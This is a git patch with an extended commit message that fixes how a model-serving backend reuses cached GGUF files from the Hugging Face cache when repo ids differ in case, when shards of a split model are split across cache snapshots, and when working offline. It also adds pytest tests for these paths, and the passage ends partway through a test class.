Date: Wed, 8 Jul 2026 10:32:06 +0100
Subject: [PATCH 251/306] Fix case-variant model matching and GGUF cache reuse
 in unsloth start (#6900)

* fix: handle case-variant GGUF cache hits for unsloth start

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* gguf cache: keep split shards co-located and isolate cache tests properly

When a cached main shard was reused from an older snapshot, the extra shards
were resolved independently and could come from a different snapshot dir (or a
fresh download into the current ref), leaving llama.cpp unable to load a
multi-shard GGUF whose pieces are split across directories. Only reuse a cached
main shard when every sibling shard sits in the same snapshot; otherwise fetch
the whole set together so they stay co-located.

Also patch huggingface_hub.constants.HF_HUB_CACHE (not just the HF_HUB_CACHE env
var) in the two cache tests that seeded a temp cache: the snapshot lookup reads
the module constant, so the env-only override let the real cache leak in and
skip an asserted download.

* Do not let a companion-only cache snapshot shadow real GGUF variants

When listing GGUF variants from the local HF cache, a newer snapshot may
contain only a companion file (for example a vision projector fetched on
demand) while the actual quant files live in an older snapshot. The prior
scan returned the first snapshot whose vision flag was set, yielding an
empty variant list and hiding the real quants. Keep scanning older
snapshots for actual variants and carry the vision flag across snapshots.

Also record the disk-space fallback variant's size in expected_sizes so
the later cache-reuse probe can size-verify the fallback main shard
instead of only checking for its existence.

* Propagate cached repo casing to companions and preflight split co-location

Two fixes to the case-variant GGUF cache reuse:

- Resolve the requested repo id to its cached canonical casing once in
  load_model, up front, and pass it to the main GGUF and its companions
  (mmproj / MTP drafter). Previously only _download_gguf resolved the
  casing internally, so a case-variant request loaded the main file from
  the canonical cache dir while the companions kept the requested casing
  and missed the cached vision projector / drafter offline. Extracted the
  resolution into a shared _resolve_repo_id_casing helper.

- Apply the split-shard co-location check in the disk-space preflight. When
  a split GGUF's shards are cached across different snapshots the whole set
  is refetched later, so counting them as cached made the preflight read 0
  bytes to download, skip the smaller-variant fallback, and then fail the
  full download on a low-disk machine.

* Reuse a co-located split GGUF snapshot and fix split fallback size probe

- When reusing a cached split GGUF, scan snapshots for one that holds the
  whole set co-located instead of taking the newest snapshot's first shard.
  A newer snapshot with only the first shard no longer shadows an older
  complete snapshot, so an already-cached split model is reused rather than
  refetched (which would fail offline).

- The disk-space fallback records its size in expected_sizes only for a
  single-file fallback. _find_smallest_fitting_variant returns the whole
  variant size, so using it as the first shard's expected size rejected a
  valid cached first shard of a split fallback and forced a re-download.

* Scan for a complete split snapshot in the preflight; require a loaded catalog hit

- The disk-space preflight now uses the same co-located snapshot scan as the
  download path (_cached_colocated_split_main) instead of the newest-snapshot
  probe, so a newer snapshot holding only the first shard no longer masks an
  older complete one and trips the smaller-variant fallback for a fully cached
  split model.

- _resolve_model only attaches to a /v1/models entry that is actually loaded
  (loaded != False). /v1/models also lists cached-but-unloaded catalog entries,
  and matching one by case skipped /api/inference/load and left the agent
  pointed at a model that is not resident.

* Restrict cross-snapshot GGUF cache reuse to offline

Reusing a same-name blob from an older or case-variant snapshot bypasses the
Hub revision/etag check, so a repo that updates a GGUF in place could serve
stale weights online. Gate the cross-snapshot and case-variant reuse (both the
disk-space preflight accounting and the download path) on HF_HUB_OFFLINE.
Online, hf_hub_download fetches the current revision and resumes a partial
download, so the reuse is unnecessary there; offline it remains the resilience
fallback. Marked the two reuse regression tests as the offline scenarios they
represent and added an online test asserting a fresh fetch.

* Harden offline cache reuse and hub-id detection

Three follow-ups on the case-variant GGUF cache path:

- Honor every truthy HF_HUB_OFFLINE spelling (1/true/yes/on), not just "1", when
  gating the cross-snapshot and case-variant cache reuse. With HF_HUB_OFFLINE=true
  the Hub calls are already offline, so the reuse must trigger or the cached GGUF
  fails to load; route both the preflight accounting and the download path through
  the same offline parse the rest of the backend uses.
- Resolve mmproj/MTP companions from the actual cached snapshot when offline.
  resolve_cached_repo_id_case can keep a partial lower-case spelling when any dir
  exists under the requested casing, so an hf_hub_download on that casing misses the
  canonical companion; scan every case-variant snapshot and return the cached path.
- Restrict the case-insensitive model-id match to syntactically valid hub ids
  (a single namespace/name over the HF charset). A server-side relative path such
  as models/Llama/Foo.gguf is no longer treated as a hub id, so it cannot
  casefold-match a differently cased path on a case-sensitive filesystem. This is
  host independent, unlike the local-existence probe which cannot see a server path.

* Only casefold-match model ids against a loopback Studio

A two-segment string like Models/Foo is indistinguishable from a hub id, and the
local Path.exists() probe in _is_hub_model_id cannot see a path that exists only
on a remote Studio host. So against a remote server, casefolding could attach to
a distinct server-side path (Models/Foo vs models/foo) on a case-sensitive
filesystem. Gate the case-insensitive match on is_loopback_url(base): only a
local Studio, where the existence probe is authoritative, casefolds. For a remote
Studio the match is exact and a case-mismatched request falls through to
/api/inference/load, whose already-loaded dedup resolves it correctly.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Wasim Yousef Said <wasimysdev@gmail.com>
---
 studio/backend/core/inference/llama_cpp.py    | 239 +++++++++++-
 .../tests/test_offline_gguf_cache_fallback.py | 352 +++++++++++++++++-
 studio/backend/utils/models/model_config.py   |  54 ++-
 unsloth_cli/commands/start.py                 |  80 +++-
 unsloth_cli/tests/test_start.py               | 183 +++++++++
 5 files changed, 874 insertions(+), 34 deletions(-)

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index b4f8fe1ca6..b07bd33076 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -377,6 +377,19 @@ def _probe_dns_dead(host: str = "huggingface.co", timeout: float = 2.0) -> bool:
     return True if result[0] is None else result[0]
 
 
+def _hf_env_offline() -> bool:
+    """True when an HF offline env var is set to any truthy value (1/true/yes/on).
+
+    Mirrors utils.models.model_config._env_offline so a user-set HF_HUB_OFFLINE=true
+    (not just "1") still routes through the local-cache reuse path below.
+    """
+    try:
+        from utils.models.model_config import _env_offline
+        return _env_offline()
+    except Exception:
+        return os.environ.get("HF_HUB_OFFLINE", "").strip().lower() in {"1", "true", "yes", "on"}
+
+
 @contextlib.contextmanager
 def _hf_offline_if_dns_dead():
     """Set HF_HUB_OFFLINE for this block only when DNS to huggingface.co fails;
@@ -837,6 +850,112 @@ def _gguf_snapshot_files(snapshot: Path) -> list[str]:
     ]
 
 
+def _cached_hf_snapshot_file(
+    repo_id: str,
+    filename: str,
+    *,
+    expected_size: Optional[int] = None,
+) -> Optional[str]:
+    """Return a cached snapshot file even when HF's current-ref probe misses it."""
+    if not filename:
+        return None
+    parts = [part for part in filename.replace("\\", "/").split("/") if part]
+    if not parts or any(part in (".", "..") for part in parts):
+        return None
+    try:
+        from utils.models.model_config import _iter_hf_cache_snapshots
+        for snap in _iter_hf_cache_snapshots(repo_id):
+            candidate = snap.joinpath(*parts)
+            if not candidate.is_file():
+                continue
+            if expected_size:
+                try:
+                    if candidate.stat().st_size < expected_size:
+                        continue
+                except OSError:
+                    continue
+            return str(candidate)
+    except Exception as e:
+        logger.debug("Snapshot cache lookup failed for %s/%s: %s", repo_id, filename, e)
+    return None
+
+
+def _snapshot_has_all_shards(
+    main_path: str, main_filename: str, shards: Iterable[str], expected_sizes: dict[str, int]
+) -> bool:
+    """True when every shard sits beside ``main_path`` in the same cache snapshot.
+
+    llama.cpp loads a split GGUF by resolving its siblings from the main shard's
+    directory, so a cached main shard is only safe to reuse when the rest of the
+    set is co-located; otherwise the caller must fetch the whole set together.
+    """
+    root = Path(main_path)
+    for _ in [part for part in main_filename.replace("\\", "/").split("/") if part]:
+        root = root.parent
+    for shard in shards:
+        parts = [part for part in shard.replace("\\", "/").split("/") if part]
+        if not parts or any(part in (".", "..") for part in parts):
+            return False
+        sibling = root.joinpath(*parts)
+        try:
+            if not sibling.is_file():
+                return False
+            expected = expected_sizes.get(shard)
+            if expected and sibling.stat().st_size < expected:
+                return False
+        except OSError:
+            return False
+    return True
+
+
+def _resolve_repo_id_casing(hf_repo: str) -> str:
+    """Map a requested repo id to its cached canonical casing, or return it unchanged.
+
+    A case-variant request (for example a lowercased id) resolves to the
+    canonical-cased cache directory so the main GGUF and its companions
+    (mmproj / MTP drafter) all read the same cache entry. Returns ``hf_repo``
+    unchanged when resolution is unavailable or errors.
+    """
+    try:
+        from utils.paths import resolve_cached_repo_id_case
+        return resolve_cached_repo_id_case(hf_repo)
+    except Exception:
+        return hf_repo
+
+
+def _cached_colocated_split_main(
+    repo_id: str, main_filename: str, shards: Iterable[str], expected_sizes: dict[str, int]
+) -> Optional[str]:
+    """Main-shard path from a cache snapshot that also holds every sibling shard.
+
+    A newer snapshot may hold only the first shard while an older snapshot has the
+    complete split set. ``_cached_hf_snapshot_file`` would return that newer partial
+    main and the co-location check would then force a refetch, so scan snapshots for
+    one where the whole set is present and return that main path instead. None when
+    no snapshot holds the full set.
+    """
+    main_parts = [part for part in main_filename.replace("\\", "/").split("/") if part]
+    if not main_parts or any(part in (".", "..") for part in main_parts):
+        return None
+    try:
+        from utils.models.model_config import _iter_hf_cache_snapshots
+        for snap in _iter_hf_cache_snapshots(repo_id):
+            main_path = snap.joinpath(*main_parts)
+            if not main_path.is_file():
+                continue
+            expected_main = expected_sizes.get(main_filename)
+            try:
+                if expected_main and main_path.stat().st_size < expected_main:
+                    continue
+            except OSError:
+                continue
+            if _snapshot_has_all_shards(str(main_path), main_filename, shards, expected_sizes):
+                return str(main_path)
+    except Exception as e:
+        logger.debug("Co-located split snapshot lookup failed for %s: %s", repo_id, e)
+    return None
+
+
 def _gguf_extra_shards(files: Iterable[str], first_shard: str) -> list[str]:
     m = _SHARD_FULL_RE.match(first_shard)
     if not m:
@@ -3992,6 +4111,15 @@ class LlamaCppBackend:
                 "Install it with: pip install huggingface_hub"
             )
 
+        resolved_hf_repo = _resolve_repo_id_casing(hf_repo)
+        if resolved_hf_repo != hf_repo:
+            logger.info(
+                "Using cached repo_id casing '%s' for requested '%s'",
+                resolved_hf_repo,
+                hf_repo,
+            )
+            hf_repo = resolved_hf_repo
+
         # Resolve the filename from the variant
         gguf_filename = None
         gguf_extra_shards: list[str] = []
@@ -4037,10 +4165,12 @@ class LlamaCppBackend:
 
         # Check disk space; fall back to a smaller variant if needed
         all_gguf_files = [gguf_filename] + gguf_extra_shards
+        expected_sizes: dict[str, int] = {}
         try:
             from huggingface_hub import get_paths_info, try_to_load_from_cache
 
             path_infos = list(get_paths_info(hf_repo, all_gguf_files, token = hf_token))
+            expected_sizes = {p.path: p.size for p in path_infos if p.size}
             total_bytes = sum((p.size or 0) for p in path_infos)
 
             # Subtract bytes already in the HF cache so we only preflight
@@ -4049,7 +4179,26 @@ class LlamaCppBackend:
             # cold whenever free disk is below the full weight footprint,
             # even though nothing needs downloading.
             already_cached_bytes = 0
-            if not force:
+            # Cross-snapshot / case-variant cache reuse is offline-only (see the download
+            # path below); online, hf_hub_download fetches the current revision and
+            # resumes partials, so an old snapshot must not be counted as cached here or
+            # the preflight would under-count the download and skip the disk fallback.
+            offline = _hf_env_offline()
+            # A split GGUF whose shards are not co-located in a single snapshot is
+            # refetched as a whole set later, so it must not be counted as cached here.
+            split_needs_refetch = False
+            if offline and not force and gguf_extra_shards:
+                # Scan all snapshots for one that holds the whole set co-located, so a
+                # newer snapshot with only the first shard does not mask an older
+                # complete one and needlessly trip the disk fallback.
+                if (
+                    _cached_colocated_split_main(
+                        hf_repo, gguf_filename, gguf_extra_shards, expected_sizes
+                    )
+                    is None
+                ):
+                    split_needs_refetch = True
+            if not force and not split_needs_refetch:
                 for p in path_infos:
                     if not p.size:
                         continue
@@ -4057,6 +4206,15 @@ class LlamaCppBackend:
                         cached_path = try_to_load_from_cache(hf_repo, p.path)
                     except Exception:
                         cached_path = None
+                    if (
+                        not (isinstance(cached_path, str) and os.path.exists(cached_path))
+                        and offline
+                    ):
+                        cached_path = _cached_hf_snapshot_file(
+                            hf_repo,
+                            p.path,
+                            expected_size = p.size,
+                        )
                     if isinstance(cached_path, str) and os.path.exists(cached_path):
                         try:
                             on_disk = os.path.getsize(cached_path)
@@ -4119,6 +4277,13 @@ class LlamaCppBackend:
                             )
                         else:
                             gguf_extra_shards = []
+                        # Record the fallback's size so the later cache-reuse probe can
+                        # size-verify it; only for a single-file fallback, since
+                        # _find_smallest_fitting_variant returns the whole-variant size
+                        # and using that as the first shard's expected size would reject
+                        # a valid cached first shard of a split fallback.
+                        if not gguf_extra_shards:
+                            expected_sizes[fallback_file] = fallback_size
                     else:
                         raise RuntimeError(
                             f"Not enough disk space to download any variant. "
@@ -4138,25 +4303,45 @@ class LlamaCppBackend:
                 raise RuntimeError("Cancelled")
             dl_start = time.monotonic()
             # Xet primary, HTTP fallback on stall; per-file so finished shards stay cached.
-            local_path = hf_hub_download_with_xet_fallback(
-                hf_repo,
-                gguf_filename,
-                hf_token,
-                cancel_event = cancel_event,
-                on_status = lambda m: logger.info(m),
-                force_download = force,
-            )
-            for shard in gguf_extra_shards:
-                if cancel_event.is_set():
-                    raise RuntimeError("Cancelled")
-                logger.info(f"Resolving GGUF shard: {shard}")
-                hf_hub_download_with_xet_fallback(
+            local_path = None
+            # Reuse a cached copy from another snapshot / case-variant repo dir only when
+            # offline. Online, fall through to hf_hub_download so its revision/etag check
+            # fetches the current file (and resumes a partial) instead of serving a stale
+            # same-name blob from an older revision.
+            if not force and _hf_env_offline():
+                if gguf_extra_shards:
+                    # A split GGUF must load every shard from one snapshot; reuse only a
+                    # snapshot that holds the whole set co-located, scanning past a newer
+                    # snapshot that has just the first shard while an older one is complete.
+                    local_path = _cached_colocated_split_main(
+                        hf_repo, gguf_filename, gguf_extra_shards, expected_sizes
+                    )
+                else:
+                    local_path = _cached_hf_snapshot_file(
+                        hf_repo,
+                        gguf_filename,
+                        expected_size = expected_sizes.get(gguf_filename),
+                    )
+            if local_path is None:
+                local_path = hf_hub_download_with_xet_fallback(
                     hf_repo,
-                    shard,
+                    gguf_filename,
                     hf_token,
                     cancel_event = cancel_event,
+                    on_status = lambda m: logger.info(m),
                     force_download = force,
                 )
+                for shard in gguf_extra_shards:
+                    if cancel_event.is_set():
+                        raise RuntimeError("Cancelled")
+                    logger.info(f"Resolving GGUF shard: {shard}")
+                    hf_hub_download_with_xet_fallback(
+                        hf_repo,
+                        shard,
+                        hf_token,
+                        cancel_event = cancel_event,
+                        force_download = force,
+                    )
         except Exception as e:
             if isinstance(e, RuntimeError) and "Cancelled" in str(e):
                 raise
@@ -4234,6 +4419,17 @@ class LlamaCppBackend:
         if target is None or cancel_event.is_set():
             return None
 
+        # Offline, resolve the companion straight from the cache snapshot that
+        # holds it. resolve_cached_repo_id_case can return a partial lower-case
+        # spelling when any dir exists under the requested casing, so calling
+        # hf_hub_download with hf_repo would miss the canonical file and silently
+        # drop the companion. _cached_hf_snapshot_file scans every case variant.
+        if _hf_env_offline():
+            cached = _cached_hf_snapshot_file(hf_repo, target)
+            if cached:
+                logger.info("Resolved %s from local HF cache: %s", label, cached)
+                return cached
+
         try:
             logger.info(f"Downloading {label}: {hf_repo}/{target}")
             # Same policy; companions are best-effort (caller below swallows failures to None).
@@ -5012,6 +5208,19 @@ class LlamaCppBackend:
             # dead; cleanup runs even on exception so a transient hiccup
             # can't quarantine future loads.
             if hf_repo:
+                # Resolve the requested repo id to its cached canonical casing once,
+                # up front, so the main GGUF and its companions (mmproj / MTP drafter)
+                # all resolve from the same cache entry. Otherwise a case-variant
+                # request resolves the main file from the canonical cache dir while the
+                # companions keep the requested casing and miss the cached files.
+                _resolved_repo = _resolve_repo_id_casing(hf_repo)
+                if _resolved_repo != hf_repo:
+                    logger.info(
+                        "Using cached repo_id casing '%s' for requested '%s'",
+                        _resolved_repo,
+                        hf_repo,
+                    )
+                    hf_repo = _resolved_repo
                 with _hf_offline_if_dns_dead():
                     model_path = self._download_gguf(
                         hf_repo = hf_repo,
diff --git a/studio/backend/tests/test_offline_gguf_cache_fallback.py b/studio/backend/tests/test_offline_gguf_cache_fallback.py
index 4499881c4d..e24e2ca451 100644
--- a/studio/backend/tests/test_offline_gguf_cache_fallback.py
+++ b/studio/backend/tests/test_offline_gguf_cache_fallback.py
@@ -79,9 +79,11 @@ from huggingface_hub import constants as hf_constants
 
 from core.inference.llama_cpp import (
     LlamaCppBackend,
+    _cached_colocated_split_main,
     _gguf_files_for_variant,
     _hf_offline_if_dns_dead,
     _probe_dns_dead,
+    _resolve_repo_id_casing,
 )
 from utils.models.model_config import (
     _detect_gguf_from_hf_cache,
@@ -217,7 +219,7 @@ class TestGgufVariantFileResolution:
             downloaded.append(filename)
             return f"/fake/{repo_id}/{filename}"
 
-        monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path))
+        monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
         with (
             patch(
                 "huggingface_hub.list_repo_files",
@@ -239,6 +241,214 @@ class TestGgufVariantFileResolution:
         assert downloaded == ["tinyllamas/stories260K.gguf"]
         assert out == "/fake/ggml-org/models/tinyllamas/stories260K.gguf"
 
+    def test_download_reuses_older_snapshot_when_current_ref_snapshot_is_partial(
+        self, monkeypatch, hf_cache
+    ):
+        # Cross-snapshot reuse is an offline-resilience path: online, hf_hub_download
+        # resumes the partial current-ref download and revalidates the revision instead
+        # of serving an older snapshot's same-name blob.
+        monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+        backend = LlamaCppBackend()
+        repo = "unsloth/vision-GGUF"
+        old = _build_cache(
+            hf_cache,
+            repo,
+            {"model-UD-Q4_K_XL.gguf": 4},
+            snapshot_sha = "a" * 40,
+        )
+        _build_cache(
+            hf_cache,
+            repo,
+            {"mtp-model.gguf": 1},
+            snapshot_sha = "b" * 40,
+        )
+
+        def fake_get_paths_info(
+            _repo_id,
+            paths,
+            token = None,
+        ):
+            return [_types.SimpleNamespace(path = path, size = 4) for path in paths if path]
+
+        def fail_download(*_args, **_kwargs):
+            raise AssertionError("should reuse the cached GGUF instead of downloading")
+
+        with (
+            patch(
+                "huggingface_hub.list_repo_files",
+                lambda *_a, **_k: ["model-UD-Q4_K_XL.gguf", "mtp-model.gguf"],
+            ),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fail_download),
+        ):
+            out = backend._download_gguf(
+                hf_repo = repo,
+                hf_variant = "UD-Q4_K_XL",
+            )
+
+        assert out == str(old / "model-UD-Q4_K_XL.gguf")
+
+    def test_download_reuses_cached_gguf_when_lowercase_partial_cache_shadows_it(
+        self, monkeypatch, hf_cache
+    ):
+        # Case-variant cross-dir reuse is offline-only; online the canonical repo id
+        # resolves up front and hf_hub_download fetches the current revision.
+        monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+        backend = LlamaCppBackend()
+        canonical_repo = "unsloth/gemma-4-E2B-it-GGUF"
+        requested_repo = "unsloth/gemma-4-e2b-it-gguf"
+        gguf_file = "gemma-4-E2B-it-UD-Q4_K_XL.gguf"
+        snap = _build_cache(
+            hf_cache,
+            canonical_repo,
+            {gguf_file: 4},
+            snapshot_sha = "a" * 40,
+        )
+        lower_snap = _build_cache(
+            hf_cache,
+            requested_repo,
+            {"mtp-gemma-4-E2B-it.gguf": 1},
+            snapshot_sha = "b" * 40,
+        )
+        os.utime(lower_snap, (2000, 2000))
+        os.utime(snap, (1000, 1000))
+        seen_repos: list[str] = []
+
+        def fake_list_repo_files(repo_id, token = None):
+            seen_repos.append(repo_id)
+            return [gguf_file]
+
+        def fake_get_paths_info(
+            repo_id,
+            paths,
+            token = None,
+        ):
+            seen_repos.append(repo_id)
+            return [_types.SimpleNamespace(path = path, size = 4) for path in paths if path]
+
+        def fake_cache(repo_id, filename, *args, **kwargs):
+            seen_repos.append(repo_id)
+            return str(snap / filename) if repo_id == canonical_repo else None
+
+        def fail_download(*_args, **_kwargs):
+            raise AssertionError("should reuse the cached GGUF instead of downloading")
+
+        with (
+            patch("huggingface_hub.list_repo_files", fake_list_repo_files),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("huggingface_hub.try_to_load_from_cache", fake_cache),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fail_download),
+        ):
+            out = backend._download_gguf(
+                hf_repo = requested_repo,
+                hf_variant = "UD-Q4_K_XL",
+            )
+
+        assert out == str(snap / gguf_file)
+        assert seen_repos
+
+    def test_download_online_does_not_reuse_old_snapshot(self, monkeypatch, hf_cache):
+        # Online, an older same-name snapshot must not be served (it may be a stale
+        # revision); hf_hub_download is called so the current revision is fetched and
+        # its etag revalidated.
+        monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+        backend = LlamaCppBackend()
+        repo = "unsloth/vision-GGUF"
+        _build_cache(hf_cache, repo, {"model-UD-Q4_K_XL.gguf": 4}, snapshot_sha = "a" * 40)
+        downloaded: list[str] = []
+
+        def fake_get_paths_info(
+            _repo_id,
+            paths,
+            token = None,
+        ):
+            return [_types.SimpleNamespace(path = p, size = 4) for p in paths if p]
+
+        def fake_download(
+            repo_id,
+            filename,
+            token = None,
+            **kwargs,
+        ):
+            downloaded.append(filename)
+            return f"/fresh/{filename}"
+
+        with (
+            patch(
+                "huggingface_hub.list_repo_files",
+                lambda *_a, **_k: ["model-UD-Q4_K_XL.gguf"],
+            ),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_download),
+        ):
+            out = backend._download_gguf(hf_repo = repo, hf_variant = "UD-Q4_K_XL")
+
+        assert downloaded == ["model-UD-Q4_K_XL.gguf"]
+        assert out == "/fresh/model-UD-Q4_K_XL.gguf"
+
+    def test_download_reuses_older_snapshot_when_offline_env_is_true(self, monkeypatch, hf_cache):
+        # HF_HUB_OFFLINE accepts truthy spellings beyond "1" (true/yes/on); the offline
+        # cache reuse must trigger for those too, otherwise the earlier Hub calls run
+        # offline while this branch still attempts hf_hub_download and the cached GGUF
+        # cannot load.
+        monkeypatch.setenv("HF_HUB_OFFLINE", "true")
+        backend = LlamaCppBackend()
+        repo = "unsloth/vision-GGUF"
+        old = _build_cache(hf_cache, repo, {"model-UD-Q4_K_XL.gguf": 4}, snapshot_sha = "a" * 40)
+
+        def fake_get_paths_info(
+            _repo_id,
+            paths,
+            token = None,
+        ):
+            return [_types.SimpleNamespace(path = p, size = 4) for p in paths if p]
+
+        def fail_download(*_args, **_kwargs):
+            raise AssertionError("should reuse the cached GGUF instead of downloading")
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: ["model-UD-Q4_K_XL.gguf"]),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fail_download),
+        ):
+            out = backend._download_gguf(hf_repo = repo, hf_variant = "UD-Q4_K_XL")
+
+        assert out == str(old / "model-UD-Q4_K_XL.gguf")
+
+    def test_download_companion_resolves_from_case_variant_snapshot_offline(
+        self, monkeypatch, hf_cache
+    ):
+        # Offline, resolve_cached_repo_id_case can keep a partial lower-case spelling,
+        # so the companion (mmproj) must resolve from whichever case-variant snapshot
+        # actually holds it rather than being dropped by an hf_hub_download on the
+        # wrong casing.
+        monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+        backend = LlamaCppBackend()
+        canonical_repo = "unsloth/gemma-4-E2B-it-GGUF"
+        requested_repo = "unsloth/gemma-4-e2b-it-gguf"
+        snap = _build_cache(hf_cache, canonical_repo, {"mmproj-F16.gguf": 4}, snapshot_sha = "a" * 40)
+        # A partial lower-case dir exists so casing resolution keeps the requested spelling.
+        _build_cache(hf_cache, requested_repo, {"config.json": 1}, snapshot_sha = "b" * 40)
+
+        _offline_exc = type("OfflineModeIsEnabled", (Exception,), {})
+
+        def fake_list_repo_files(repo_id, token = None):
+            raise _offline_exc("offline")
+
+        def fail_download(*_args, **_kwargs):
+            raise AssertionError("should resolve the companion from cache, not download")
+
+        with (
+            patch("huggingface_hub.list_repo_files", fake_list_repo_files),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fail_download),
+        ):
+            out = backend._download_mmproj(hf_repo = requested_repo)
+
+        assert out == str(snap / "mmproj-F16.gguf")
+
     def test_download_includes_uppercase_split_gguf_shards(self, monkeypatch, tmp_path):
         backend = LlamaCppBackend()
         downloaded: list[str] = []
@@ -264,7 +474,7 @@ class TestGgufVariantFileResolution:
             downloaded.append(filename)
             return f"/fake/{repo_id}/{filename}"
 
-        monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path))
+        monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
         with (
             patch("huggingface_hub.list_repo_files", lambda *_a, **_k: files),
             patch("huggingface_hub.get_paths_info", fake_get_paths_info),
@@ -279,6 +489,48 @@ class TestGgufVariantFileResolution:
         assert downloaded == files
         assert out == "/fake/org/repo/model-Q4_K_M-00001-of-00002.GGUF"
 
+    def test_download_refetches_split_gguf_when_shards_span_snapshots(self, monkeypatch, hf_cache):
+        # The cached main shard lives in an older snapshot; its sibling shard is only
+        # in a newer, separate snapshot. Reusing the main shard alone would leave
+        # llama.cpp unable to resolve the sibling, so the whole set must be re-fetched
+        # together (co-located) rather than served split across snapshot dirs.
+        backend = LlamaCppBackend()
+        repo = "org/split"
+        files = [
+            "model-Q4_K_M-00001-of-00002.gguf",
+            "model-Q4_K_M-00002-of-00002.gguf",
+        ]
+        _build_cache(hf_cache, repo, {files[0]: 4}, snapshot_sha = "a" * 40)
+        _build_cache(hf_cache, repo, {files[1]: 4}, snapshot_sha = "b" * 40)
+        downloaded: list[str] = []
+
+        def fake_get_paths_info(
+            _repo_id,
+            paths,
+            token = None,
+        ):
+            return [_types.SimpleNamespace(path = p, size = 4) for p in paths if p]
+
+        def fake_download(
+            repo_id,
+            filename,
+            token = None,
+            **_kwargs,
+        ):
+            downloaded.append(filename)
+            return f"/fake/{repo_id}/{filename}"
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: files),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_download),
+        ):
+            out = backend._download_gguf(hf_repo = repo, hf_variant = "Q4_K_M")
+
+        assert downloaded == files
+        assert out == f"/fake/{repo}/{files[0]}"
+
 
 def _siblings(items: dict[str, int]):
     """Mock ``hf_model_info(...).siblings`` payload."""
@@ -315,6 +567,21 @@ class TestIterHfCacheSnapshots:
         out = list(_iter_hf_cache_snapshots("unsloth/multi"))
         assert [p.name for p in out] == ["b" * 40, "a" * 40]
 
+    def test_skips_snapshot_when_mtime_is_unavailable(self, hf_cache, monkeypatch):
+        stale = _build_cache(hf_cache, "unsloth/multi", {"x.gguf": 1}, snapshot_sha = "a" * 40)
+        good = _build_cache(hf_cache, "unsloth/multi", {"y.gguf": 1}, snapshot_sha = "b" * 40)
+        original_stat = Path.stat
+
+        def flaky_stat(self, *args, **kwargs):
+            if self == stale:
+                raise FileNotFoundError(str(self))
+            return original_stat(self, *args, **kwargs)
+
+        monkeypatch.setattr(Path, "stat", flaky_stat)
+
+        out = list(_iter_hf_cache_snapshots("unsloth/multi"))
+        assert out == [good]
+
     def test_repo_id_match_is_case_insensitive(self, hf_cache):
         _build_cache(hf_cache, "unsloth/Foo-GGUF", {"Foo-Q4_K_M.gguf": 1})
         # Lookup with different org/name casing still resolves
@@ -347,6 +614,87 @@ class TestListGgufVariantsFromCache:
         assert _list_gguf_variants_from_hf_cache("unsloth/absent") is None
 
 
+class TestCachedColocatedSplitMain:
+    def test_prefers_older_complete_snapshot_over_newer_partial(self, hf_cache):
+        # Newer snapshot has only shard 1; older snapshot has the complete set. The
+        # complete older snapshot must win so the split GGUF can load co-located.
+        shard1 = "m-00001-of-00002.gguf"
+        shard2 = "m-00002-of-00002.gguf"
+        old = _build_cache(
+            hf_cache, "unsloth/split-GGUF", {shard1: 100, shard2: 100}, snapshot_sha = "a" * 40
+        )
+        new = _build_cache(hf_cache, "unsloth/split-GGUF", {shard1: 100}, snapshot_sha = "b" * 40)
+        os.utime(old, (1000, 1000))
+        os.utime(new, (2000, 2000))
+
+        main = _cached_colocated_split_main("unsloth/split-GGUF", shard1, [shard2], {})
+        assert main is not None
+        assert main.startswith(str(old))
+
+    def test_returns_none_when_shards_span_snapshots(self, hf_cache):
+        shard1 = "m-00001-of-00002.gguf"
+        shard2 = "m-00002-of-00002.gguf"
+        a = _build_cache(hf_cache, "unsloth/split-GGUF", {shard1: 100}, snapshot_sha = "a" * 40)
+        b = _build_cache(hf_cache, "unsloth/split-GGUF", {shard2: 100}, snapshot_sha = "b" * 40)
+        os.utime(a, (1000, 1000))
+        os.utime(b, (2000, 2000))
+
+        assert _cached_colocated_split_main("unsloth/split-GGUF", shard1, [shard2], {}) is None
+
+
+class TestResolveRepoIdCasing:
+    def test_maps_to_canonical_casing(self, monkeypatch):
+        monkeypatch.setattr(
+            "utils.paths.resolve_cached_repo_id_case",
+            lambda repo: "unsloth/Gemma-4-GGUF" if repo.lower() == "unsloth/gemma-4-gguf" else repo,
+        )
+        # A companion download passed the resolved id reads the same cache entry
+        # as the main GGUF instead of missing it under the requested casing.
+        assert _resolve_repo_id_casing("unsloth/gemma-4-gguf") == "unsloth/Gemma-4-GGUF"
+
+    def test_passthrough_on_resolver_error(self, monkeypatch):
+        def boom(_repo):
+            raise RuntimeError("resolver unavailable")
+
+        monkeypatch.setattr("utils.paths.resolve_cached_repo_id_case", boom)
